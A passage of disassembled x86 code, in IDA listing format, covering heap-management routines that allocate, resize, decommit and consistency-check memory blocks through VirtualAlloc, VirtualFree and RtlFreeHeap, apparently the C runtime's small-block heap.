mov dword ptr [edx], 0FFFFFFFFh
mov eax, [ebp+var_4]
loc_41D7DB: ; CODE XREF: sub_41D6D0+3Ej
; sub_41D6D0+93j ...
mov esp, ebp
pop ebp
retn
sub_41D6D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D7E0 proc near ; CODE XREF: sub_41D190+15Bp
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 2Ch
mov eax, [ebp+arg_0]
mov ecx, [eax+10h]
mov [ebp+var_2C], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+8]
mov [ebp+var_8], eax
mov [ebp+var_28], 0
loc_41D7FF: ; CODE XREF: sub_41D7E0+36j
cmp [ebp+var_8], 0
jl short loc_41D818
mov ecx, [ebp+var_8]
shl ecx, 1
mov [ebp+var_8], ecx
mov edx, [ebp+var_28]
add edx, 1
mov [ebp+var_28], edx
jmp short loc_41D7FF
; ---------------------------------------------------------------------------
loc_41D818: ; CODE XREF: sub_41D7E0+23j
mov eax, [ebp+var_28]
imul eax, 204h
mov ecx, [ebp+var_2C]
lea edx, [ecx+eax+144h]
mov [ebp+var_C], edx
mov [ebp+var_20], 0
jmp short loc_41D840
; ---------------------------------------------------------------------------
loc_41D837: ; CODE XREF: sub_41D7E0+84j
mov eax, [ebp+var_20]
add eax, 1
mov [ebp+var_20], eax
loc_41D840: ; CODE XREF: sub_41D7E0+55j
cmp [ebp+var_20], 3Fh
jge short loc_41D866
mov ecx, [ebp+var_20]
mov edx, [ebp+var_C]
lea eax, [edx+ecx*8]
mov [ebp+var_18], eax
mov ecx, [ebp+var_18]
mov edx, [ebp+var_18]
mov [ecx+8], edx
mov eax, [ebp+var_18]
mov ecx, [ebp+var_18]
mov [eax+4], ecx
jmp short loc_41D837
; ---------------------------------------------------------------------------
loc_41D866: ; CODE XREF: sub_41D7E0+64j
mov edx, [ebp+var_28]
shl edx, 0Fh
mov eax, [ebp+arg_0]
mov ecx, [eax+0Ch]
add ecx, edx
mov [ebp+var_10], ecx
push 4
push 1000h
push 8000h
mov edx, [ebp+var_10]
push edx
call dword_4E0488 ; VirtualAlloc
test eax, eax
jnz short loc_41D899
or eax, 0FFFFFFFFh
jmp loc_41D9CA
; ---------------------------------------------------------------------------
loc_41D899: ; CODE XREF: sub_41D7E0+AFj
mov eax, [ebp+var_10]
add eax, 7000h
mov [ebp+var_1C], eax
mov ecx, [ebp+var_10]
mov [ebp+var_4], ecx
jmp short loc_41D8B8
; ---------------------------------------------------------------------------
loc_41D8AC: ; CODE XREF: sub_41D7E0+13Bj
mov edx, [ebp+var_4]
add edx, 1000h
mov [ebp+var_4], edx
loc_41D8B8: ; CODE XREF: sub_41D7E0+CAj
mov eax, [ebp+var_4]
cmp eax, [ebp+var_1C]
ja short loc_41D91D
mov ecx, [ebp+var_4]
mov dword ptr [ecx+8], 0FFFFFFFFh
mov edx, [ebp+var_4]
mov dword ptr [edx+0FFCh], 0FFFFFFFFh
mov eax, [ebp+var_4]
add eax, 0Ch
mov [ebp+var_18], eax
mov ecx, [ebp+var_18]
mov dword ptr [ecx], 0FF0h
mov edx, [ebp+var_18]
add edx, 1000h
mov eax, [ebp+var_18]
mov [eax+4], edx
mov ecx, [ebp+var_18]
sub ecx, 1000h
mov edx, [ebp+var_18]
mov [edx+8], ecx
mov eax, [ebp+var_18]
add eax, 0FECh
mov [ebp+var_24], eax
mov ecx, [ebp+var_24]
mov dword ptr [ecx], 0FF0h
jmp short loc_41D8AC
; ---------------------------------------------------------------------------
loc_41D91D: ; CODE XREF: sub_41D7E0+DEj
mov edx, [ebp+var_C]
add edx, 1F8h
mov [ebp+var_14], edx
mov eax, [ebp+var_10]
add eax, 0Ch
mov ecx, [ebp+var_14]
mov [ecx+4], eax
mov edx, [ebp+var_14]
mov eax, [edx+4]
mov [ebp+var_18], eax
mov ecx, [ebp+var_18]
mov edx, [ebp+var_14]
mov [ecx+8], edx
mov eax, [ebp+var_1C]
add eax, 0Ch
mov ecx, [ebp+var_14]
mov [ecx+8], eax
mov edx, [ebp+var_14]
mov eax, [edx+8]
mov [ebp+var_18], eax
mov ecx, [ebp+var_18]
mov edx, [ebp+var_14]
mov [ecx+4], edx
mov eax, [ebp+var_28]
mov ecx, [ebp+var_2C]
mov dword ptr [ecx+eax*4+44h], 0
mov edx, [ebp+var_28]
mov eax, [ebp+var_2C]
mov dword ptr [eax+edx*4+0C4h], 1
mov ecx, [ebp+var_2C]
movsx edx, byte ptr [ecx+43h]
mov eax, [ebp+var_2C]
mov cl, [eax+43h]
add cl, 1
mov eax, [ebp+var_2C]
mov [eax+43h], cl
test edx, edx
jnz short loc_41D9AD
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
or edx, 1
mov eax, [ebp+arg_0]
mov [eax+4], edx
loc_41D9AD: ; CODE XREF: sub_41D7E0+1BCj
mov edx, 80000000h
mov ecx, [ebp+var_28]
shr edx, cl
not edx
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
and ecx, edx
mov edx, [ebp+arg_0]
mov [edx+8], ecx
mov eax, [ebp+var_28]
loc_41D9CA: ; CODE XREF: sub_41D7E0+B4j
mov esp, ebp
pop ebp
retn
sub_41D7E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D9D0 proc near ; CODE XREF: sub_41C020+81p
; sub_41C230+BCp
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 30h
mov eax, [ebp+arg_8]
add eax, 17h
and al, 0F0h
mov [ebp+var_1C], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+10h]
mov [ebp+var_30], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_4]
sub ecx, [eax+0Ch]
mov [ebp+var_C], ecx
mov edx, [ebp+var_C]
shr edx, 0Fh
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
imul eax, 204h
mov ecx, [ebp+var_30]
lea edx, [ecx+eax+144h]
mov [ebp+var_8], edx
mov eax, [ebp+arg_4]
sub eax, 4
mov [ebp+var_14], eax
mov ecx, [ebp+var_14]
mov edx, [ecx]
sub edx, 1
mov [ebp+var_28], edx
mov eax, [ebp+var_14]
add eax, [ebp+var_28]
mov [ebp+var_2C], eax
mov ecx, [ebp+var_2C]
mov edx, [ecx]
mov [ebp+var_10], edx
mov eax, [ebp+var_1C]
cmp eax, [ebp+var_28]
jle loc_41DCF6
mov ecx, [ebp+var_10]
and ecx, 1
test ecx, ecx
jnz short loc_41DA5B
mov edx, [ebp+var_28]
add edx, [ebp+var_10]
cmp [ebp+var_1C], edx
jle short loc_41DA62
loc_41DA5B: ; CODE XREF: sub_41D9D0+7Ej
xor eax, eax
jmp loc_41DFB7
; ---------------------------------------------------------------------------
loc_41DA62: ; CODE XREF: sub_41D9D0+89j
mov eax, [ebp+var_10]
sar eax, 4
sub eax, 1
mov [ebp+var_20], eax
cmp [ebp+var_20], 3Fh
jbe short loc_41DA7B
mov [ebp+var_20], 3Fh
loc_41DA7B: ; CODE XREF: sub_41D9D0+A2j
mov ecx, [ebp+var_2C]
mov edx, [ebp+var_2C]
mov eax, [ecx+4]
cmp eax, [edx+8]
jnz loc_41DB5D
cmp [ebp+var_20], 20h
jnb short loc_41DAF2
mov edx, 80000000h
mov ecx, [ebp+var_20]
shr edx, cl
not edx
mov eax, [ebp+var_4]
mov ecx, [ebp+var_30]
mov eax, [ecx+eax*4+44h]
and eax, edx
mov ecx, [ebp+var_4]
mov edx, [ebp+var_30]
mov [edx+ecx*4+44h], eax
mov eax, [ebp+var_30]
add eax, [ebp+var_20]
mov cl, [eax+4]
sub cl, 1
mov edx, [ebp+var_30]
add edx, [ebp+var_20]
mov [edx+4], cl
mov eax, [ebp+var_30]
add eax, [ebp+var_20]
movsx ecx, byte ptr [eax+4]
test ecx, ecx
jnz short loc_41DAF0
mov edx, 80000000h
mov ecx, [ebp+var_20]
shr edx, cl
not edx
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, edx
mov edx, [ebp+arg_0]
mov [edx], ecx
loc_41DAF0: ; CODE XREF: sub_41D9D0+106j
jmp short loc_41DB5D
; ---------------------------------------------------------------------------
loc_41DAF2: ; CODE XREF: sub_41D9D0+C1j
mov ecx, [ebp+var_20]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
not eax
mov ecx, [ebp+var_4]
mov edx, [ebp+var_30]
mov ecx, [edx+ecx*4+0C4h]
and ecx, eax
mov edx, [ebp+var_4]
mov eax, [ebp+var_30]
mov [eax+edx*4+0C4h], ecx
mov ecx, [ebp+var_30]
add ecx, [ebp+var_20]
mov dl, [ecx+4]
sub dl, 1
mov eax, [ebp+var_30]
add eax, [ebp+var_20]
mov [eax+4], dl
mov ecx, [ebp+var_30]
add ecx, [ebp+var_20]
movsx edx, byte ptr [ecx+4]
test edx, edx
jnz short loc_41DB5D
mov ecx, [ebp+var_20]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
not eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
and edx, eax
mov eax, [ebp+arg_0]
mov [eax+4], edx
loc_41DB5D: ; CODE XREF: sub_41D9D0+B7j
; sub_41D9D0:loc_41DAF0j ...
mov ecx, [ebp+var_2C]
mov edx, [ecx+8]
mov eax, [ebp+var_2C]
mov ecx, [eax+4]
mov [edx+4], ecx
mov edx, [ebp+var_2C]
mov eax, [edx+4]
mov ecx, [ebp+var_2C]
mov edx, [ecx+8]
mov [eax+8], edx
mov eax, [ebp+var_28]
add eax, [ebp+var_10]
sub eax, [ebp+var_1C]
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jle loc_41DCD7
mov ecx, [ebp+var_14]
add ecx, [ebp+var_1C]
mov [ebp+var_2C], ecx
mov edx, [ebp+var_10]
sar edx, 4
sub edx, 1
mov [ebp+var_20], edx
cmp [ebp+var_20], 3Fh
jbe short loc_41DBB3
mov [ebp+var_20], 3Fh
loc_41DBB3: ; CODE XREF: sub_41D9D0+1DAj
mov eax, [ebp+var_20]
mov ecx, [ebp+var_8]
lea edx, [ecx+eax*8]
mov [ebp+var_18], edx
mov eax, [ebp+var_2C]
mov ecx, [ebp+var_18]
mov edx, [ecx+4]
mov [eax+4], edx
mov eax, [ebp+var_2C]
mov ecx, [ebp+var_18]
mov [eax+8], ecx
mov edx, [ebp+var_18]
mov eax, [ebp+var_2C]
mov [edx+4], eax
mov ecx, [ebp+var_2C]
mov edx, [ecx+4]
mov eax, [ebp+var_2C]
mov [edx+8], eax
mov ecx, [ebp+var_2C]
mov edx, [ebp+var_2C]
mov eax, [ecx+4]
cmp eax, [edx+8]
jnz loc_41DCC3
cmp [ebp+var_20], 20h
jnb short loc_41DC5C
mov ecx, [ebp+var_30]
add ecx, [ebp+var_20]
movsx edx, byte ptr [ecx+4]
mov eax, [ebp+var_30]
add eax, [ebp+var_20]
mov cl, [eax+4]
add cl, 1
mov eax, [ebp+var_30]
add eax, [ebp+var_20]
mov [eax+4], cl
test edx, edx
jnz short loc_41DC3A
mov edx, 80000000h
mov ecx, [ebp+var_20]
shr edx, cl
mov eax, [ebp+arg_0]
mov ecx, [eax]
or ecx, edx
mov edx, [ebp+arg_0]
mov [edx], ecx
loc_41DC3A: ; CODE XREF: sub_41D9D0+252j
mov eax, 80000000h
mov ecx, [ebp+var_20]
shr eax, cl
mov ecx, [ebp+var_4]
mov edx, [ebp+var_30]
mov ecx, [edx+ecx*4+44h]
or ecx, eax
mov edx, [ebp+var_4]
mov eax, [ebp+var_30]
mov [eax+edx*4+44h], ecx
jmp short loc_41DCC3
; ---------------------------------------------------------------------------
loc_41DC5C: ; CODE XREF: sub_41D9D0+22Fj
mov ecx, [ebp+var_30]
add ecx, [ebp+var_20]
movsx edx, byte ptr [ecx+4]
mov eax, [ebp+var_30]
add eax, [ebp+var_20]
mov cl, [eax+4]
add cl, 1
mov eax, [ebp+var_30]
add eax, [ebp+var_20]
mov [eax+4], cl
test edx, edx
jnz short loc_41DC9A
mov ecx, [ebp+var_20]
sub ecx, 20h
mov edx, 80000000h
shr edx, cl
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
or ecx, edx
mov edx, [ebp+arg_0]
mov [edx+4], ecx
loc_41DC9A: ; CODE XREF: sub_41D9D0+2ADj
mov ecx, [ebp+var_20]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
mov ecx, [ebp+var_4]
mov edx, [ebp+var_30]
mov ecx, [edx+ecx*4+0C4h]
or ecx, eax
mov edx, [ebp+var_4]
mov eax, [ebp+var_30]
mov [eax+edx*4+0C4h], ecx
loc_41DCC3: ; CODE XREF: sub_41D9D0+225j
; sub_41D9D0+28Aj
mov ecx, [ebp+var_2C]
mov edx, [ebp+var_10]
mov [ecx], edx
mov eax, [ebp+var_2C]
add eax, [ebp+var_10]
mov ecx, [ebp+var_10]
mov [eax-4], ecx
loc_41DCD7: ; CODE XREF: sub_41D9D0+1BBj
mov edx, [ebp+var_1C]
add edx, 1
mov eax, [ebp+var_14]
mov [eax], edx
mov ecx, [ebp+var_1C]
add ecx, 1
mov edx, [ebp+var_14]
add edx, [ebp+var_1C]
mov [edx-4], ecx
jmp loc_41DFB2
; ---------------------------------------------------------------------------
loc_41DCF6: ; CODE XREF: sub_41D9D0+70j
mov eax, [ebp+var_1C]
cmp eax, [ebp+var_28]
jge loc_41DFB2
mov ecx, [ebp+var_1C]
add ecx, 1
mov edx, [ebp+var_14]
mov [edx], ecx
mov eax, [ebp+var_1C]
add eax, 1
mov ecx, [ebp+var_14]
add ecx, [ebp+var_1C]
mov [ecx-4], eax
mov edx, [ebp+var_14]
add edx, [ebp+var_1C]
mov [ebp+var_14], edx
mov eax, [ebp+var_28]
sub eax, [ebp+var_1C]
mov [ebp+var_28], eax
mov ecx, [ebp+var_28]
sar ecx, 4
sub ecx, 1
mov [ebp+var_24], ecx
cmp [ebp+var_24], 3Fh
jbe short loc_41DD47
mov [ebp+var_24], 3Fh
loc_41DD47: ; CODE XREF: sub_41D9D0+36Ej
mov edx, [ebp+var_10]
and edx, 1
test edx, edx
jnz loc_41DE90
mov eax, [ebp+var_10]
sar eax, 4
sub eax, 1
mov [ebp+var_20], eax
cmp [ebp+var_20], 3Fh
jbe short loc_41DD6E
mov [ebp+var_20], 3Fh
loc_41DD6E: ; CODE XREF: sub_41D9D0+395j
mov ecx, [ebp+var_2C]
mov edx, [ebp+var_2C]
mov eax, [ecx+4]
cmp eax, [edx+8]
jnz loc_41DE50
cmp [ebp+var_20], 20h
jnb short loc_41DDE5
mov edx, 80000000h
mov ecx, [ebp+var_20]
shr edx, cl
not edx
mov eax, [ebp+var_4]
mov ecx, [ebp+var_30]
mov eax, [ecx+eax*4+44h]
and eax, edx
mov ecx, [ebp+var_4]
mov edx, [ebp+var_30]
mov [edx+ecx*4+44h], eax
mov eax, [ebp+var_30]
add eax, [ebp+var_20]
mov cl, [eax+4]
sub cl, 1
mov edx, [ebp+var_30]
add edx, [ebp+var_20]
mov [edx+4], cl
mov eax, [ebp+var_30]
add eax, [ebp+var_20]
movsx ecx, byte ptr [eax+4]
test ecx, ecx
jnz short loc_41DDE3
mov edx, 80000000h
mov ecx, [ebp+var_20]
shr edx, cl
not edx
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, edx
mov edx, [ebp+arg_0]
mov [edx], ecx
loc_41DDE3: ; CODE XREF: sub_41D9D0+3F9j
jmp short loc_41DE50
; ---------------------------------------------------------------------------
loc_41DDE5: ; CODE XREF: sub_41D9D0+3B4j
mov ecx, [ebp+var_20]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
not eax
mov ecx, [ebp+var_4]
mov edx, [ebp+var_30]
mov ecx, [edx+ecx*4+0C4h]
and ecx, eax
mov edx, [ebp+var_4]
mov eax, [ebp+var_30]
mov [eax+edx*4+0C4h], ecx
mov ecx, [ebp+var_30]
add ecx, [ebp+var_20]
mov dl, [ecx+4]
sub dl, 1
mov eax, [ebp+var_30]
add eax, [ebp+var_20]
mov [eax+4], dl
mov ecx, [ebp+var_30]
add ecx, [ebp+var_20]
movsx edx, byte ptr [ecx+4]
test edx, edx
jnz short loc_41DE50
mov ecx, [ebp+var_20]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
not eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
and edx, eax
mov eax, [ebp+arg_0]
mov [eax+4], edx
loc_41DE50: ; CODE XREF: sub_41D9D0+3AAj
; sub_41D9D0:loc_41DDE3j ...
mov ecx, [ebp+var_2C]
mov edx, [ecx+8]
mov eax, [ebp+var_2C]
mov ecx, [eax+4]
mov [edx+4], ecx
mov edx, [ebp+var_2C]
mov eax, [edx+4]
mov ecx, [ebp+var_2C]
mov edx, [ecx+8]
mov [eax+8], edx
mov eax, [ebp+var_28]
add eax, [ebp+var_10]
mov [ebp+var_28], eax
mov ecx, [ebp+var_28]
sar ecx, 4
sub ecx, 1
mov [ebp+var_24], ecx
cmp [ebp+var_24], 3Fh
jbe short loc_41DE90
mov [ebp+var_24], 3Fh
loc_41DE90: ; CODE XREF: sub_41D9D0+37Fj
; sub_41D9D0+4B7j
mov edx, [ebp+var_24]
mov eax, [ebp+var_8]
lea ecx, [eax+edx*8]
mov [ebp+var_18], ecx
mov edx, [ebp+var_14]
mov eax, [ebp+var_18]
mov ecx, [eax+4]
mov [edx+4], ecx
mov edx, [ebp+var_14]
mov eax, [ebp+var_18]
mov [edx+8], eax
mov ecx, [ebp+var_18]
mov edx, [ebp+var_14]
mov [ecx+4], edx
mov eax, [ebp+var_14]
mov ecx, [eax+4]
mov edx, [ebp+var_14]
mov [ecx+8], edx
mov eax, [ebp+var_14]
mov ecx, [ebp+var_14]
mov edx, [eax+4]
cmp edx, [ecx+8]
jnz loc_41DF9E
cmp [ebp+var_24], 20h
jnb short loc_41DF38
mov eax, [ebp+var_30]
add eax, [ebp+var_24]
movsx ecx, byte ptr [eax+4]
mov edx, [ebp+var_30]
add edx, [ebp+var_24]
mov al, [edx+4]
add al, 1
mov edx, [ebp+var_30]
add edx, [ebp+var_24]
mov [edx+4], al
test ecx, ecx
jnz short loc_41DF16
mov eax, 80000000h
mov ecx, [ebp+var_24]
shr eax, cl
mov ecx, [ebp+arg_0]
mov edx, [ecx]
or edx, eax
mov eax, [ebp+arg_0]
mov [eax], edx
loc_41DF16: ; CODE XREF: sub_41D9D0+52Ej
mov edx, 80000000h
mov ecx, [ebp+var_24]
shr edx, cl
mov eax, [ebp+var_4]
mov ecx, [ebp+var_30]
mov eax, [ecx+eax*4+44h]
or eax, edx
mov ecx, [ebp+var_4]
mov edx, [ebp+var_30]
mov [edx+ecx*4+44h], eax
jmp short loc_41DF9E
; ---------------------------------------------------------------------------
loc_41DF38: ; CODE XREF: sub_41D9D0+50Cj
mov eax, [ebp+var_30]
add eax, [ebp+var_24]
movsx ecx, byte ptr [eax+4]
mov edx, [ebp+var_30]
add edx, [ebp+var_24]
mov al, [edx+4]
add al, 1
mov edx, [ebp+var_30]
add edx, [ebp+var_24]
mov [edx+4], al
test ecx, ecx
jnz short loc_41DF75
mov ecx, [ebp+var_24]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
or edx, eax
mov eax, [ebp+arg_0]
mov [eax+4], edx
loc_41DF75: ; CODE XREF: sub_41D9D0+588j
mov ecx, [ebp+var_24]
sub ecx, 20h
mov edx, 80000000h
shr edx, cl
mov eax, [ebp+var_4]
mov ecx, [ebp+var_30]
mov eax, [ecx+eax*4+0C4h]
or eax, edx
mov ecx, [ebp+var_4]
mov edx, [ebp+var_30]
mov [edx+ecx*4+0C4h], eax
loc_41DF9E: ; CODE XREF: sub_41D9D0+502j
; sub_41D9D0+566j
mov eax, [ebp+var_14]
mov ecx, [ebp+var_28]
mov [eax], ecx
mov edx, [ebp+var_14]
add edx, [ebp+var_28]
mov eax, [ebp+var_28]
mov [edx-4], eax
loc_41DFB2: ; CODE XREF: sub_41D9D0+321j
; sub_41D9D0+32Cj
mov eax, 1
loc_41DFB7: ; CODE XREF: sub_41D9D0+8Dj
mov esp, ebp
pop ebp
retn
sub_41D9D0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword_4DE660, 0
jz loc_41E0EC
mov eax, dword_4DE654
shl eax, 0Fh
mov ecx, dword_4DE660
mov edx, [ecx+0Ch]
add edx, eax
mov [ebp-4], edx
push 4000h
push 8000h
mov eax, [ebp-4]
push eax
call dword_4E0484 ; VirtualFree
mov edx, 80000000h
mov ecx, dword_4DE654
shr edx, cl
mov eax, dword_4DE660
mov ecx, [eax+8]
or ecx, edx
mov edx, dword_4DE660
mov [edx+8], ecx
mov eax, dword_4DE660
mov ecx, [eax+10h]
mov edx, dword_4DE654
mov dword ptr [ecx+edx*4+0C4h], 0
mov eax, dword_4DE660
mov ecx, [eax+10h]
mov dl, [ecx+43h]
sub dl, 1
mov eax, dword_4DE660
mov ecx, [eax+10h]
mov [ecx+43h], dl
mov edx, dword_4DE660
mov eax, [edx+10h]
movsx ecx, byte ptr [eax+43h]
test ecx, ecx
jnz short loc_41E072
mov edx, dword_4DE660
mov eax, [edx+4]
and al, 0FEh
mov ecx, dword_4DE660
mov [ecx+4], eax
loc_41E072: ; CODE XREF: .data:0041E05Cj
mov edx, dword_4DE660
cmp dword ptr [edx+8], 0FFFFFFFFh
jnz short loc_41E0E2
cmp dword_4DE664, 1
jle short loc_41E0E2
mov eax, dword_4DE660
mov ecx, [eax+10h]
push ecx
push 0
mov edx, dword_4DE648
push edx
call dword_4E0480 ; RtlFreeHeap
mov eax, dword_4DE664
imul eax, 14h
mov ecx, dword_4DE668
add ecx, eax
mov edx, dword_4DE660
add edx, 14h
sub ecx, edx
push ecx
mov eax, dword_4DE660
add eax, 14h
push eax
mov ecx, dword_4DE660
push ecx
call sub_419A90
add esp, 0Ch
mov edx, dword_4DE664
sub edx, 1
mov dword_4DE664, edx
loc_41E0E2: ; CODE XREF: .data:0041E07Cj
; .data:0041E085j
mov dword_4DE660, 0
loc_41E0EC: ; CODE XREF: .data:0041DFCBj
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E0F0 proc near ; CODE XREF: sub_41C820+44p
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_160 = dword ptr -160h
var_15C = dword ptr -15Ch
var_158 = dword ptr -158h
var_154 = dword ptr -154h
var_150 = dword ptr -150h
var_14C = dword ptr -14Ch
var_148 = dword ptr -148h
var_144 = dword ptr -144h
var_140 = dword ptr -140h
var_13C = dword ptr -13Ch
var_138 = dword ptr -138h
var_134 = dword ptr -134h
var_130 = dword ptr -130h
var_12C = dword ptr -12Ch
var_128 = dword ptr -128h
var_124 = dword ptr -124h
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 168h
mov eax, dword_4DE664
imul eax, 14h
push eax
mov ecx, dword_4DE668
push ecx
call dword_4E0440 ; IsBadWritePtr
test eax, eax
jz short loc_41E11B
or eax, 0FFFFFFFFh
jmp loc_41E709
; ---------------------------------------------------------------------------
loc_41E11B: ; CODE XREF: sub_41E0F0+21j
mov edx, dword_4DE668
mov [ebp+var_13C], edx
mov [ebp+var_120], 0
jmp short loc_41E142
; ---------------------------------------------------------------------------
loc_41E133: ; CODE XREF: sub_41E0F0+612j
mov eax, [ebp+var_120]
add eax, 1
mov [ebp+var_120], eax
loc_41E142: ; CODE XREF: sub_41E0F0+41j
mov ecx, [ebp+var_120]
cmp ecx, dword_4DE664
jge loc_41E707
mov edx, [ebp+var_13C]
mov eax, [edx+10h]
mov [ebp+var_160], eax
push 41C4h
mov ecx, [ebp+var_160]
push ecx
call dword_4E0440 ; IsBadWritePtr
test eax, eax
jz short loc_41E183
mov eax, 0FFFFFFFEh
jmp loc_41E709
; ---------------------------------------------------------------------------
loc_41E183: ; CODE XREF: sub_41E0F0+87j
mov edx, [ebp+var_13C]
mov eax, [edx+0Ch]
mov [ebp+var_128], eax
mov ecx, [ebp+var_160]
add ecx, 144h
mov [ebp+var_18], ecx
mov edx, [ebp+var_13C]
mov eax, [edx+8]
mov [ebp+var_4], eax
mov [ebp+var_144], 0
mov [ebp+var_158], 0
mov [ebp+var_C], 0
jmp short loc_41E1D3
; ---------------------------------------------------------------------------
loc_41E1CA: ; CODE XREF: sub_41E0F0+5D6j
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
loc_41E1D3: ; CODE XREF: sub_41E0F0+D8j
cmp [ebp+var_C], 20h
jge loc_41E6CB
mov [ebp+var_11C], 0
mov [ebp+var_150], 0
mov [ebp+var_12C], 0
mov [ebp+var_14C], 0
jmp short loc_41E216
; ---------------------------------------------------------------------------
loc_41E207: ; CODE XREF: sub_41E0F0+140j
mov edx, [ebp+var_14C]
add edx, 1
mov [ebp+var_14C], edx
loc_41E216: ; CODE XREF: sub_41E0F0+115j
cmp [ebp+var_14C], 40h
jge short loc_41E232
mov eax, [ebp+var_14C]
mov [ebp+eax*4+var_118], 0
jmp short loc_41E207
; ---------------------------------------------------------------------------
loc_41E232: ; CODE XREF: sub_41E0F0+12Dj
cmp [ebp+var_4], 0
jl loc_41E66D
push 8000h
mov ecx, [ebp+var_128]
push ecx
call dword_4E0440 ; IsBadWritePtr
test eax, eax
jz short loc_41E25C
mov eax, 0FFFFFFFCh
jmp loc_41E709
; ---------------------------------------------------------------------------
loc_41E25C: ; CODE XREF: sub_41E0F0+160j
mov edx, [ebp+var_128]
mov [ebp+var_8], edx
mov [ebp+var_140], 0
jmp short loc_41E280
; ---------------------------------------------------------------------------
loc_41E271: ; CODE XREF: sub_41E0F0+30Fj
mov eax, [ebp+var_140]
add eax, 1
mov [ebp+var_140], eax
loc_41E280: ; CODE XREF: sub_41E0F0+17Fj
cmp [ebp+var_140], 8
jge loc_41E404
mov ecx, [ebp+var_8]
add ecx, 0Ch
mov [ebp+var_130], ecx
mov edx, [ebp+var_130]
add edx, 0FF0h
mov [ebp+var_138], edx
mov eax, [ebp+var_130]
cmp dword ptr [eax-4], 0FFFFFFFFh
jnz short loc_41E2C2
mov ecx, [ebp+var_138]
cmp dword ptr [ecx], 0FFFFFFFFh
jz short loc_41E2CC
loc_41E2C2: ; CODE XREF: sub_41E0F0+1C5j
mov eax, 0FFFFFFFBh
jmp loc_41E709
; ---------------------------------------------------------------------------
loc_41E2CC: ; CODE XREF: sub_41E0F0+1D0j
; sub_41E0F0+2E6j
mov edx, [ebp+var_130]
mov eax, [edx]
mov [ebp+var_148], eax
mov ecx, [ebp+var_148]
mov [ebp+var_154], ecx
mov edx, [ebp+var_154]
and edx, 1
test edx, edx
jz short loc_41E329
mov eax, [ebp+var_148]
sub eax, 1
mov [ebp+var_148], eax
cmp [ebp+var_148], 400h
jle short loc_41E318
mov eax, 0FFFFFFFAh
jmp loc_41E709
; ---------------------------------------------------------------------------
loc_41E318: ; CODE XREF: sub_41E0F0+21Cj
mov ecx, [ebp+var_12C]
add ecx, 1
mov [ebp+var_12C], ecx
jmp short loc_41E36B
; ---------------------------------------------------------------------------
loc_41E329: ; CODE XREF: sub_41E0F0+201j
mov edx, [ebp+var_148]
sar edx, 4
sub edx, 1
mov [ebp+var_14C], edx
cmp [ebp+var_14C], 3Fh
jle short loc_41E34E
mov [ebp+var_14C], 3Fh
loc_41E34E: ; CODE XREF: sub_41E0F0+252j
mov eax, [ebp+var_14C]
mov ecx, [ebp+eax*4+var_118]
add ecx, 1
mov edx, [ebp+var_14C]
mov [ebp+edx*4+var_118], ecx
loc_41E36B: ; CODE XREF: sub_41E0F0+237j
cmp [ebp+var_148], 10h
jl short loc_41E38D
mov eax, [ebp+var_148]
and eax, 0Fh
test eax, eax
jnz short loc_41E38D
cmp [ebp+var_148], 0FF0h
jle short loc_41E397
loc_41E38D: ; CODE XREF: sub_41E0F0+282j
; sub_41E0F0+28Fj
mov eax, 0FFFFFFF9h
jmp loc_41E709
; ---------------------------------------------------------------------------
loc_41E397: ; CODE XREF: sub_41E0F0+29Bj
mov ecx, [ebp+var_130]
add ecx, [ebp+var_148]
mov edx, [ecx-4]
cmp edx, [ebp+var_154]
jz short loc_41E3B8
mov eax, 0FFFFFFF8h
jmp loc_41E709
; ---------------------------------------------------------------------------
loc_41E3B8: ; CODE XREF: sub_41E0F0+2BCj
mov eax, [ebp+var_130]
add eax, [ebp+var_148]
mov [ebp+var_130], eax
mov ecx, [ebp+var_130]
cmp ecx, [ebp+var_138]
jb loc_41E2CC
mov edx, [ebp+var_130]
cmp edx, [ebp+var_138]
jz short loc_41E3F4
mov eax, 0FFFFFFF8h
jmp loc_41E709
; ---------------------------------------------------------------------------
